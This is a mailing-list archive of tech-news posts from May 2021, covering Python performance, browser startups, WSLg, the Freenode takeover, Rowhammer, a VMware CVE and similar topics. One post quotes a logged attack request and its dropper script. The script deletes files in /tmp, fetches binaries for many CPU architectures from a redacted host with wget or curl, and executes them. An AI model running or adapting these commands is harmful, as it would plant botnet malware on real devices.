This report <https://www.theregister.com/2021/05/06/the_quest_for_faster_python/> on Facebook’s new “Cinder” project for speeding up Python code also mentions some other existing alternatives for doing the same. Python is commonly considered slow, yet note this one interesting comparison that was done with JavaScript: In May 2020 AI specialists DLabs tested JavaScript versus Python performance for machine learning. For JavaScript Node 12.16.1 was used, and for Python 3.7.6. The results seem surprising: although JavaScript benefits from an excellent JIT in Node (which uses the V8 engine as used by Google Chrome), Python easily outperformed it. "The learnings from the tests I ran are stark. JavaScript couldn’t get close to Python’s tasks — across the board. JavaScript’s computational performance is still much better than Python’s. However, the maturity of the libraries — which often have underlying modules written in C — means that operations on large datasets can offer so much more than sheer computational power," said developer Krzysztof Miśtal. Which is what Guido van Rossum has long advised: write performance-critical parts as extension modules in C.

2 2

One Startup's Quest to Take on Chrome and Reinvent the Web Browser
by Peter Reutemann 31 May '21

31 May '21

'"The web browser is a crucial part of modern life, and yet it hasn't really been revised since the '90s," writes Protocol. "That may be about to change." The browser tab is an underrated thing. Most people think of them only when there are too many, when their computer once again buckles under Chrome's weight. Even the developers who build the tabs — the engineers and designers working on Chrome, Firefox, Brave and the rest — haven't done much to them. The internet has evolved in massive, earth-shaking ways over the last two decades, but tabs haven't really changed since they became a browser feature in the mid '90s. Josh Miller, however, has big plans for browser tabs. Miller is the CEO of a new startup called The Browser Company, and he wants to change the way people think about browsers altogether. He sees browsers as operating systems, and likes to wonder aloud what "iOS for the web" might look like. What if your browser could build you a personalized news feed because it knows the sites you go to? What if every web app felt like a native app, and the browser itself was just the app launcher? What if you could drag a file from one tab to another, and it just worked? What if the web browser was a shareable, synced, multiplayer experience? It would be nothing like the simple, passive windows to the web that browsers are now. Which is exactly the goal. The Browser Company (which everyone on the team just calls Browser) is one of a number of startups that are rethinking every part of the browser stack. Mighty has built a version of Chrome that runs on powerful server hardware and streams the browser itself over the web. Brave is building support for decentralized protocols like IPFS, and experimenting with using cryptocurrencies as a new business model for publishers. Synth is building a new bookmarks system that acts more like a web-wide inbox. Sidekick offers a vertical app launcher and makes tabs easier to organize. "A change is coming," said Mozilla CEO Mitchell Baker. "The question is just the time frame, and what's actually required to make it happen." They have lots of different ideas, but they share a belief that the browser can, and should, be more than it is. "We don't need a new web browser," Miller said. "We need a new successor to the web browser." While he was at the White House, Chief Digital Officer (and Miller's boss) Jason Goldman said something Miller couldn't forget. "Platforms have all the leverage," is how Miller remembers it. "And if you care about the future of the internet, or the way we use our computers, or want to improve any of the things that are broken about technology ... you can't really just build an application. Platforms, whether it's iOS or Windows or Android or Mac OS, that's where all the control is." ' -- source: https://tech.slashdot.org/story/21/05/30/2140208 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Millions Can Now Run Linux GUI Apps in Windows 10
by Peter Reutemann 31 May '21

31 May '21

'"You can now use GUI app support on Windows Subsystem for Linux (WSL)," Microsoft announced this week, "so that all the tools and workflows of Linux run on your developer machine." Bleeping Computer has already tested it running Gnome's file manager Nautilus, the open-source application monitor/task manager Stacer, the backup software Timeshift, and even the game Hedgewars. Though it's currently available only to the millions who've registered for Windows 10 "Insider Preview" builds, it's already drawing positive reviews. "With the Windows Subsystem for Linux, developers no longer need to dual-boot a Windows and Linux system," argues the Windows Central site, "as you can now install all the Linux stuff a developer would need right on top of Windows instead." Finally formally announced at this week's annual Microsoft Build conference, the new functionality runs graphical Linux apps "seamlessly," according to Tech Radar, calling the feature "highly anticipated." Arguably, one of the biggest, and surely the most exciting update to the Windows 10 WSL, Microsoft has been working on WSLg for quite a while and in fact first demoed it at last year's conference, before releasing the preview in April... Microsoft recommends running WSLg after enabling support for virtual GPU (vGPU) for WSL, in order to take advantage of 3D acceleration within the Linux apps.... WSLg also supports audio and microphone devices, which means the graphical Linux apps will also be able to record and play audio. Keeping in line with its developer slant, Microsoft also announced that since WSLg can now help Linux apps leverage the graphics hardware on the Windows machine, the subsystem can be used to efficiently run Linux AI and ML workloads... If WSLg developers are to be believed, the update is expected to be generally available alongside the upcoming release of Windows. Bleeping Computer explains that WSLg launches a "companion system distro" with Wayland, X, and Pulse Audio servers, calling its bundling with Windows 10 "an exciting development as it blurs the lines between Linux and Windows 10, and fans get the benefits of both worlds."' -- source: https://linux.slashdot.org/story/21/05/29/1755229 My personal comment: What's the benefit of Win10? Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Free Software Foundation's Executive Director Resigns
by Peter Reutemann 31 May '21

31 May '21

'John Sullivan became the Free Software Foundation's Executive Director back in 2003 (at the age of 26). But now after 18 years, "I've decided to resign my position..." he tweeted Friday, "effective at the end of a transition period." "We'll be sharing further details, including information about that transition, and a few more words, in the coming days." Meanwhile, the Free Software Foundation announced Thursday that it's seeking "a principled, compassionate, and capable leader" to be its new executive director, working remotely out of their Boston office with the Foundation's current staff and board of directors. "The executive director, working with the president, is the public face of the Foundation." The FSF faces many challenges as software becomes increasingly central in the exercise of all fundamental human freedoms, including speech, association, privacy, and movement, and as software owners seek to exploit their control over us to profit at the expense of those freedoms. The executive director has a vital role in enabling the FSF to continue meeting these challenges, starting from the strong base that has been built in the last thirty-five years. The Foundation has recently reached record-high membership numbers and was awarded a perfect score from Charity Navigator, as well as its eighth consecutive four-star rating. Efforts to improve the Foundation's governance are underway. The executive director is the FSF's chief employed officer. The position reports to the president/CEO and the board of directors, and is responsible for management of all other staff, all day-to-day operations, and oversight of the Boston physical office. The successful candidate will have the opportunity to hire for additional key positions in the management team. One interesting item on their list of job responsibilities: Mentor, inspire, coordinate, and manage all FSF staff, building a culture that upholds the FSF's ideological principles and includes accountability, empathy, efficiency, and excellence A blog post on the FSF site also notes that the last month saw 11 new GNU releases. "A number of GNU packages, as well as the GNU operating system as a whole, are looking for maintainers and other assistance: please see https://www.gnu.org/server/takeaction.html#unmaint if you'd like to help."' -- source: https://news.slashdot.org/story/21/05/29/0144223 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Freenode Apologizes as Prominent Open Source Projects Switch to Libera Chat
by Peter Reutemann 31 May '21

31 May '21

'Ubuntu has announced that, with immediate effect Ubuntu's IRC channels are moving to libera.chat. The move follows a "hostile takeover" of Ubuntu's namespace by Freenode's new management that appears to be happening to many other distributions including Gentoo as well as other projects that have used Freenode [including channels associated with the programming languages Raku, Elixir, and Haskell]. For Ubuntu, and many other FOSS projects, Freenode has long been one of the major official forms of communication... With IRC channels often used for important system advice, and project communication, this becomes not just an inconvenience but even a security problem. For this reason Ubuntu's replacement network, libera.chat has a more clearly open organisational structure than Freenode had before being taken over. "All told, it appears something like 700 irc.freenode.net channels have been seized and re-permissioned," reports The Register, "supposedly because the channels mentioned Libera Chat in violation of Freenode's advertising policy." Wednesday Freenode owner Andrew Lee posted a blog post explaining that "in retrospect, we should have handled the action of closing down channels slightly differently..." "The intent of doing this was not an attempt of a hostile takeover nor hijack like many people are saying. Since certain projects were disrupting their users' ability to chat on freenode via mass kicks, force closures, spam, we decided to enact this policy in those places which were deemed in violation and could cause an issue later... "We believe we should have done this in a much more communicative way to circulate the right message and keep things transparent which of course did not happen. As we move forward I'd like to fully assure you that we will be working in complete commitment to restore projects, namespaces and channels that were closed on accident as a part of this event and we welcome them to use freenode as before as their very own homebase. "Lastly, there are no excuses for this, and I'm willing to admit that I was wrong with Tuesday's move and apologize for the inconvenience that may have caused."' -- source: https://developers.slashdot.org/story/21/05/29/0224246 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Coalition Including Microsoft, Linux Foundation, GitHub Urge Green Software Development
by Peter Reutemann 31 May '21

31 May '21

'"To help realize the possibility of carbon-free applications, Microsoft, the consultancies Accenture and ThoughtWorks, the Linux Foundation, and Microsoft-owned code-sharing site, GitHub, have launched The Green Software Foundation," reports ZDNet: Announced at Microsoft's Build 2021 developer conference, the foundation is trying to promote the idea of green software engineering - a new field that looks to make code more efficient and reduce carbon emitted from the hardware it's running on... The foundation wants to set standards, best practices and patterns for building green software; nurture the creation of trusted open-source and open-data projects and support academic research; and grow an international community of green software ambassadors. The goal is to help the Information and Communication Technology sector to reduce its greenhouse gas emissions by 45% before 2030. That includes mobile network operators, ISPs, data centers, and all the laptops being snapped up during the pandemic. "We envision a future where carbon-free software is standard - where software development, deployment, and use contribute to the global climate solution without every developer having to be an expert," Erica Brescia, COO of GitHub said in a statement. Microsoft president Brad Smith said "the world confronts an urgent carbon problem." "It will take all of us working together to create innovative solutions to drastically reduce emissions. Microsoft is joining with organizations who are serious about an environmentally sustainable future to drive adoption of green software development to help our customers and partners around the world reduce their carbon footprint." VentureBeat also points out that Microsoft "recently launched a $1 billion Climate Innovation Fund to accelerate the global development of carbon reduction, capture, and removal technologies." But Bloomberg explores the rationale behind the new foundation: Data centers now account for about 1% of global electricity demand, and that's forecast to rise to 3% to 8% in the next decade, the companies said in a statement Tuesday, timed to Microsoft's Build developers conference... While it's tough to determine exactly how much carbon is emitted by individual software programs, groups like the Green Software Foundation examine metrics such as how much electricity is needed, whether microprocessors are being used efficiently, and the carbon emitted in networking. The foundation plans to look at curricula and developing certifications that would give engineers expertise in this space. As with areas like data science and cybersecurity, there will be an opportunity for engineers to specialize in green software development, but everyone who builds software will need at least some background in it, said Jeff Sandquist, a Microsoft vice president for developer relations. "This will be the responsibility of everybody on the development team, much like when we look at security, or performance or reliability," he said. "Building the application in a sustainable way is going to matter."' -- source: https://news.slashdot.org/story/21/05/29/1857226 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Multi-Architecture Hack Attempt
by Lawrence D'Oliveiro 28 May '21

28 May '21

Saw a line like this pop up in the Apache log on my public-facing server from yesterday: "GET /shell?cd+/tmp;rm+-rf+*;wget+ «redacted»/jaws;sh+/tmp/jaws" I checked, and the file it is trying to fetch and execute still exists. It consists of about a dozen lines, all of this form: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget «redacted»/z0r0.«ext»; curl -O «redacted»/z0r0.«ext»; cat z0r0.«ext» >zeros6x; chmod +x *; ./zeros6x jaws.exploit all differing only in «ext», with values like “mips” and “mpsl” and “ppc”, “arm”, “arm5”, “arm6”, “arm7”, even “m68k”, plus of course “x86” and “i686”.

1 0

US Patent Office To Standardize On DOCX
by Lawrence D'Oliveiro 28 May '21

28 May '21

The US Patent Office will henceforth only accept submissions in Microsoft DOCX, aka ISO 29500 format <https://www.theregister.com/2021/05/27/uspto_pdf_charge/>. I agree that trying to do automatic processing of PDF submissions must have been a pain, but why not accept ODF, aka ISO 26300, as well, or even as the preferred format? It should be easier to deal with.

1 1

Why Does Windows Need To Reboot For Updates?
by Lawrence D'Oliveiro 28 May '21

28 May '21

Came across this blog posting from a Microsoft employee <https://devblogs.microsoft.com/oldnewthing/20151211-00/?p=92501> from a few years ago, which manages to address, yet avoid, the issue of Windows needing reboots to properly apply updates. Note the question: “Hasn’t the problem of updates being partially installed until the next reboot already been solved by changes in Windows?” The answer begins: This is, to a large extent, true. Modern versions of Windows use Component-Based Servicing (CBS). This technology makes sure that new Windows components, and new versions of existing components, are installed atomically. In other words, if it is possible to install or update a component without a reboot, CBS does so. If it is not possible (because one or more files are in use, or because the component requires more complicated setup), then the entire installation of the component is automatically suspended until the next reboot. However, it then continues to point out that many subsystems do not use this “CBS” technology, notable ones being drivers and Microsoft Office. And also remember, it doesn’t seem possible to replace components being, by running services. Can’t you fix this by stopping and restarting the affected services? On Linux, this is the obvious solution. Yet it never even occurs to this Microsoft engineer: Second, even setting the “Does the update do the right thing before the reboot?” problem aside, CBS itself creates another problem in this scenario. Since many Windows updates wind up getting their processing delayed until the reboot, that reboot itself can take longer (since all those pending operations then get performed). And in an environment where The Machine Simply Must Work, this means that the consequences of an accidental/unplanned reboot can be even worse.

1 0

Comcast Subscriber Receives DMCA Notice For Downloading Ubuntu
by Peter Reutemann 28 May '21

28 May '21

'TorrentFreak reports: Every day, people who download and share pirated content receive DMCA notices via their ISPs, warning them to cease and desist their infringing behavior. While the majority of these notices are accurate, one Ubuntu user says he has just been targeted by an anti-piracy company alleging that by torrenting an OS ISO released by Ubuntu itself, he breached copyright law. Posting to Reddit's /r/linux sub-Reddit, a forum with more than 656K subscribers, 'NateNate60' reported the unthinkable. After downloading an official Ubuntu ISO package (filename ubuntu-20.04.2.0-desktop-amd64.iso) he says he received a notice from Comcast's Infinity claiming that he'd been reported for copyright infringement. "We have received a notification by a copyright owner, or its authorized agent, reporting an alleged infringement of one or more copyrighted works made on or over your Xfinity Internet service," the posted notice reads. NateNate60 wisely redacted the notice to remove the 'Incident Number' and the precise time of the alleged infringement to protect his privacy but the clam was reported filed with Comcast on May 24, 2021. "The copyright owner has identified the IP address associated with your Xfinity Internet account at the time as the source of the infringing works," it continues, adding that NateNate60 should search all of his devices connected to his network and delete the files mentioned in the complaint. The allegedly infringing content is the 64-bit Ubuntu 20.04.2.0 LTS release but the first big question is whether the file is actually the official release from Canonical. Given that the listed hash value is 4ba4fbf7231a3a660e86892707d25c135533a16a and that matches the hash of the official release, mislabeled or misidentified content (wrong hash, mislabeled file etc) appears to be ruled out. Indeed, the same hash value is listed on Ubuntu's very own BitTorrent tracker and according to NateNate60, this is where he downloaded the torrent that led to the DMCA notice. It doesn't get much more official than that. According to the DMCA notice sent by Comcast, the complainant wasn't Ubuntu/Canonical but an anti-piracy company called OpSec Security, which according to its imprint is based in Germany. Presuming the notice is genuine (albeit sent in error), Comcast needs to be informed that mistakes have been made. The ISP has a repeat infringer policy and given the current hostile environment, terminating users is certainly on the agenda. Indeed, the notice states just that.' -- source: https://news.slashdot.org/story/21/05/26/2012228 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 2

Google Says Rowhammer Attacks Are Gaining Range as RAM is Getting Smaller
by Peter Reutemann 28 May '21

28 May '21

'A team of Google security researchers said they discovered a new way to perform Rowhammer attacks against computer memory (RAM) cards that broaden the attack's initial impact. From a report: First detailed in 2014, Rowhammer was a ground-breaking attack that exploited the design of modern RAM cards, where memory cells are stored in grid-like arrangements. The basic principle behind Rowhammer was that a malicious app could perform rapid read/write operations on a row of memory cells. As the cells would shift their values from 0 to 1 and vice versa in a very small time window, this would generate small electromagnetic fields inside the row of "hammered" memory cells. The result of these fields were errors in nearby memory rows that sometimes flipped bits and altered adjacent data. [...] In a research paper published this week, a team of five Google security researchers took Rowhammer attacks to a new level. In a new attack variation named Half-Double, researchers said they managed to carry out a Rowhammer attack that caused bit flips at a distance of two rows from the âoehammeredâ row instead of just one.' -- source: https://tech.slashdot.org/story/21/05/27/1533225 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Waikato DHB Under “Cyber Attack”
by Lawrence D'Oliveiro 27 May '21

27 May '21

According to this report <https://www.nzherald.co.nz/nz/breaking-major-cyber-attack-at-waikato-distri…>, clinical services at all hospitals under the Waikato DHB are being impacted by some “major cyber attack” of unspecified nature (DDOS? Ransomware?), forcing the cancellation of patient appointments. Even their landline phones are not working.

5 14

Vulnerability in VMware product has severity rating of 9.8 out of 10
by Peter Reutemann 27 May '21

27 May '21

'Data centers around the world have a new concern to contend with—a remote code vulnerability in a widely used VMware product. The security flaw, which VMware disclosed and patched on Tuesday, resides in the vCenter Server, a tool used for managing virtualization in large data centers. vCenter Server is used to administer VMware’s vSphere and ESXi host products, which by some rankings are the first and second most popular virtualization solutions on the market. Enlyft, a site that provides business intelligence, shows that more than 43,000 organizations use vSphere. A VMware advisory said that vCenter machines using default configurations have a bug that, in many networks, allows for the execution of malicious code when the machines are reachable on a port that is exposed to the Internet. The vulnerability is tracked as CVE-2021-21985 and has a severity score of 9.8 out of 10.' -- source: https://arstechnica.com/gadgets/2021/05/vulnerability-in-vmware-product-has… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Asahi Linux Dev Reveals 'M1RACLES' Flaw In Apple M1
by Peter Reutemann 27 May '21

27 May '21

'Tom's Hardware reports: Asahi Linux developer Hector Martin has revealed a covert channel vulnerability in the Apple M1 chip that he dubbed M1RACLES, and in the process, he's gently criticized the way security flaws have started to be shared with the public. Martin's executive summary for M1RACLES sounds dire: "A flaw in the design of the Apple Silicon 'M1' chip allows any two applications running under an OS to covertly exchange data between them, without using memory, sockets, files, or any other normal operating system features. This works between processes running as different users and under different privilege levels, creating a covert channel for surreptitious data exchange. [...] The vulnerability is baked into Apple Silicon chips, and cannot be fixed without a new silicon revision." He also noted that this was the result of an intentional decision on Apple's part. "Basically, Apple decided to break the ARM spec by removing a mandatory feature, because they figured they'd never need to use that feature for macOS," he explained. "And then it turned out that removing that feature made it much harder for existing OSes to mitigate this vulnerability." The company would have to make a change on the silicon level with its followup to the M1 to mitigate this flaw. But he also made it clear in the FAQ that Mac owners shouldn't be particularly worried about M1RACLES because that covert channel affects two bits. It can be expanded, and Martin said that transfer rates over 1 MB/s are possible "without much optimization," but any malicious apps that might take advantage of such methods would be far more likely to share information via other channels. Calling this a two-bit vulnerability would be both technically and linguistically correct. It's a real security flaw, sure, but it's unlikely to pose a real threat to Apple's customers.' -- source: https://apple.slashdot.org/story/21/05/26/2112209 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Apple Is Locking Its Components To Particular Systems
by Lawrence D'Oliveiro 27 May '21

27 May '21

This teardown by IFixit of the new M1 Imac <https://www.theregister.com/2021/05/26/m1_imac/> gives it a repairability score of 2 out of 10. This isn’t helped by a new trend in Apple’s hardware: iFixit had a go at swapping the sensors between keyboards and found that while the key part of the sensor worked just fine, the Touch ID bit didn't. Much like the rest of the iDevice family; the Touch ID sensor is paired with its original keyboard. A previous article <https://www.theregister.com/2021/05/25/m1_imac_ifixit_teardown/> reports how far this has already gone with Iphones: If you switch a camera from one iPhone 12 to another, it won't work properly. If you re-use a display panel, Apple will disable TrueTone and warn the owner they're using a non-genuine part, as recently noted by Aussie right-to-repair advocate Hugh Jeffreys.

1 1

Thousands of Chrome Extensions Are Tampering With Security Headers
by Peter Reutemann 27 May '21

27 May '21

'The Record reports: Thousands of Google Chrome extensions available on the official Chrome Web Store are tampering with security headers on popular websites, putting users at risk of a wide range of web-based attacks. While they are a little-known technical detail, security headers are an important part of the current internet landscape. At a technical level, a security header is an HTTP response sent by the server to a client app, such as a browser. [...] In a paper presented at the MADWeb workshop at the NDSS 2021 security conference, researchers from the CISPA Helmholtz Center for Information Security said they tried to assess the number of Chrome extensions tampering with security headers for the very first time. Using a custom framework they built specifically for their study, the research team said they analyzed 186,434 Chrome extensions that were available on the official Chrome Web Store last year. Their work found that 2,485 extensions were intercepting and modifying at least one security header used by today's Top 100 most popular websites (as available in the Tranco list). The study didn't focus on all security headers, but only on the four most common ones, such as: Content-Security Policy (CSP), HTTP Strict-Transport-Security (HSTS), X-Frame-Options, and X-Content-Type-Options. While 2,485 extensions disabled at least one, researchers said they found 553 disabling all the four security headers they analyzed in their research. The most commonly disabled security header was CSP, a security header that was developed to allow site owners to control what web resources a page is allowed to load inside a browser and a typical defense that can protect websites and browsers against XSS and data injection attacks. According to the research team, in most of the cases they analyzed, the Chrome extensions disabled CSP and other security headers "to introduce additional seemingly benign functionalities on the visited webpage," and didn't look to be malicious in nature. However, even if the extensions wanted to enrich a user's experience online, the German academics argued that by tampering with security headers, all the extensions did was to expose users to attacks from other scripts and sites running inside the browser and on the web.' -- source: https://it.slashdot.org/story/21/05/26/0236254 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Vulnerabilities in billions of Wi-Fi devices let hackers bypass firewalls
by Peter Reutemann 24 May '21

24 May '21

'One of the things that makes Wi-Fi work is its ability to break big chunks of data into smaller chunks and combine smaller chunks into bigger chunks, depending on the needs of the network at any given moment. These mundane network plumbing features, it turns out, have been harboring vulnerabilities that can be exploited to send users to malicious websites or exploit or tamper with network-connected devices, newly published research shows. In all, researcher Mathy Vanhoef found a dozen vulnerabilities, either in the Wi-Fi specification or in the way the specification has been implemented in huge numbers of devices. Vanhoef has dubbed the vulnerabilities FragAttacks, short for fragmentation and aggregation attacks, because they all involve frame fragmentation or frame aggregation. Broadly speaking, they allow people within radio range to inject frames of their choice into networks protected by WPA-based encryption.' -- source: https://arstechnica.com/gadgets/2021/05/farewell-to-firewalls-wi-fi-bugs-op… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux on Chromebooks is Finally Coming Out of Beta
by Peter Reutemann 21 May '21

21 May '21

'Linux on Chromebooks is finally coming out of beta with the release of Chrome OS 91, Google said at its developer I/O conference. From a report: The company had offered Linux apps on Chrome OS alongside Android apps, hoping to reach an audience of developers with IDEs and so on. However, the Linux Development Environment, as Google had dubbed it, had been in beta ever since while first launched. The company had added new features at a steady cadence, enabling things like GPU acceleration, better support for USB drives, and so on so people could be more productive while using Linux apps. Alongside Linux, Google also announced that it would be bringing Android 11 to Chromebooks. Technically, the update has already started with Chrome OS 90 for select Chromebooks, and it'll come with a host of new features including increased optimization of Android apps and a new dark theme. Google's increased support of Android is no coincidence. The company says that the operating system sees 3x increased usage of Android apps, and the new Android 11 update will see Android move to a virtual machine rather than the current container based method, making it easier to update in the future.' -- source: https://linux.slashdot.org/story/21/05/20/143225 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Microsoft Releases SimuLand, a Lab Environment To Simulate Attacker Tradecraft
by Peter Reutemann 21 May '21

21 May '21

'Microsoft today open-sourced a tool that can be used to build lab environments where security teams can simulate attacks and verify the detection effectiveness of Microsoft security products. From a report: Named SimuLand, the tool was specifically built to help security/IT teams that use Microsoft products such as Microsoft 365 Defender, Azure Defender, and Azure Sentinel. Currently, SimuLand comes with only one lab environment, specialized in detecting Golden SAML attacks. However, Microsoft said it's working on adding new ones. Community contributions are also welcomed, and the reason the project has been open-sourced on GitHub, with Microsoft hoping to get a helping hand from the tens of thousands of security teams that run its software. "If you would like to share a new end-to-end attacker path, let us know by opening an issue in our GitHub repository, and we would be happy to collaborate and provide some resources to make it happen," Microsoft said today in a blog post. But Microsoft doesn't want only lab environments specialized in executing well-known techniques or adversary tradecraft. The OS maker is also encouraging the community to contribute improved detection rules for the attacks they're sharing, so everyone can benefit from the shared knowledge.' -- source: https://news.slashdot.org/story/21/05/20/1842259 -- github: https://github.com/Azure/SimuLand -- github: https://github.com/microsoft/CyberBattleSim Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

4 vulnerabilities under attack give hackers full control of Android devices
by Peter Reutemann 20 May '21

20 May '21

'Unknown hackers have been exploiting four Android vulnerabilities that allow the execution of malicious code that can take complete control of devices, Google warned on Wednesday. All four of the vulnerabilities were disclosed two weeks ago in Google’s Android Security Bulletin for May. Google has released security updates to device manufacturers, who are then responsible for distributing the patches to users. Google’s May 3 bulletin initially didn’t report that any of the roughly 50 vulnerabilities it covered were under active exploitation. On Wednesday, Google updated the advisory to say that there are “indications” that four of the vulnerabilities “may be under limited, targeted exploitation.” Maddie Stone, a member of Google’s Project Zero exploit research group, removed the ambiguity. She declared on Twitter that the “4 vulns were exploited in-the-wild” as zero-days.' -- source: https://arstechnica.com/gadgets/2021/05/hackers-have-been-exploiting-4-crit… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

72 Hours From Patch To Exploit
by Lawrence D'Oliveiro 20 May '21

20 May '21

This report <https://www.theregister.com/2021/04/06/sap_patch_attacks/> from software company SAP and security company Onapsis says that, from the moment SAP releases a security patch for its products, it only takes about 72 hours until bad hats have reverse-engineered the patch, figured out the security vulnerability it is meant to fix, and started releasing an exploit to take advantage of that vulnerability. Actually, proof-of-concept code can appear quicker than that. Which leaves customers in a dilemma: continue running patches through their regular QA procedures before deployment, widening the window for exploits to get in, or forego those QA procedures and deploy patches quickly to plug holes while risking breaking production systems? And of course this wouldn’t be unique to SAP ...

1 1

Google Shows Off Android 12's Huge UI Overhaul
by Peter Reutemann 19 May '21

19 May '21

'At Google I/O 2021 today, Google confirmed that Android 12 is getting a huge new design. Ars Technica reports: Google calls the new design "Material You," and just like in the leaks, it's a UI that changes colors like a chameleon. For now, this design will only show up in Google Pixels, but Google says it will roll out across the ecosystem to the web, Chrome OS, smart displays, cars, watches, tablets, and every other Google form factor. The new interface is powered by a "color extraction" API that can pull the colors out of your wallpaper and apply them to the UI. This sounds exactly like the Palette API that was introduced in Android 5.0 (along with the original introduction of Material Design), but it's apparently a second swing at the color extraction idea, and Google is heavily using it in the UI now. The demo interfaces featured customized highlight colors, clock faces, widget backgrounds, and more, all matching the color of your wallpaper. Besides new colors, there are also tons of layout changes to the quick settings and notification panel. The first public beta of Android is now available. Google Pixel smartphones as far back as the Pixel 3 are eligible, as well as several devices from device-maker partners, including ASUS and OnePlus.' -- source: https://tech.slashdot.org/story/21/05/18/2134250 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google and Samsung Are Merging Wear OS and Tizen
by Peter Reutemann 19 May '21

19 May '21

'Today, Google and Samsung announced that they are merging Wear OS and Tizen in an effort to better compete against Apple's watchOS. "The resulting platform is currently being referred to simply as 'Wear,' though that might not be the final name," notes The Verge. From the report: Benefits of the joint effort include significant improvements to battery life, 30 percent faster loading times for apps, and smoother animations. It also simplifies life for developers and will create one central smartwatch OS for the Android platform. Google is also promising a greater selection of apps and watch faces than ever before. "All device makers will be able to add a customized user experience on top of the platform, and developers will be able to use the Android tools they already know and love to build for one platform and ecosystem," Google's Bjorn Kilburn wrote in a blog post. Wired has more details on what's to come, including the tidbit that Samsung will stick with its popular rotating bezel on future devices -- but it's finished making Tizen-only smartwatches. There will also be a version of Google Maps that works standalone (meaning without your phone nearby) and a YouTube Music app that supports offline downloads. Oh, and Spotify will support offline downloads on Wear smartwatches, as well. Samsung confirmed that its next Galaxy Watch will run on this unified platform. And future "premium" Fitbit devices will also run the software.' -- source: https://tech.slashdot.org/story/21/05/18/2228252 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

System76 Unveils Open Source 'Launch Configurable Keyboard' for Linux, Windows, and macOS
by Peter Reutemann 19 May '21

19 May '21

'System76 today unveiled its newest product -- the "Launch Configurable Keyboard." It is a mechanical keyboard made in the USA with a focus on open source. The Launch has both open source firmware and hardware. Even the configuration software -- which runs on Linux, Windows, and macOS -- is open source. From a report: "With a wide swath of customization options, the Launch is flexible to a variety of needs and use cases. The keyboard's thoughtful design keeps everything within reach, vastly reducing awkward hand contortions. Launch comes with additional keycaps and a convenient keycap puller, meaning one can swap keys based on personal workflow preferences to maximize efficiency. Launch also features a novel split Space Bar, which allows the user to swap out one Space Bar keycap for Shift, Backspace, or Function to reduce hand fatigue while typing. Launch uses only three keycap sizes to vastly expand configuration options," says System76. The keyboard, which has a removable USB-C cable for connectivity, is priced at $285.' -- source: https://news.slashdot.org/story/21/05/13/1727242 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Chrome Now Uses Duplex To Fix Your Stolen Passwords
by Peter Reutemann 19 May '21

19 May '21

'Google announced a new feature for its Chrome browser today that alerts you when one of your passwords has been compromised and then helps you automatically change your password with the help of... wait for it ... Google's Duplex technology. From a report: This new feature will start to roll out slowly to Chrome users on Android in the U.S. soon (with other countries following later), assuming they use Chrome's password-syncing feature. It's worth noting that this won't work for every site just yet. As a Google spokesperson told us, "the feature will initially work on a small number of apps and websites, including Twitter, but will expand to additional sites in the future." Now you may remember Duplex as the somewhat controversial service that can call businesses for you to make hairdresser appointments or check opening times. Google introduced Duplex at its 2018 I/O developer conference and launched it to a wider audience in 2019. Since then, the team has chipped away at bringing Duplex to more tasks and brought it the web, too. Now it's coming to Chrome to change your compromised passwords for you.' -- source: https://tech.slashdot.org/story/21/05/18/182218 Cheers, peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Microsoft Outlook Problem Was Microsoft Word’s Fault
by Lawrence D'Oliveiro 18 May '21

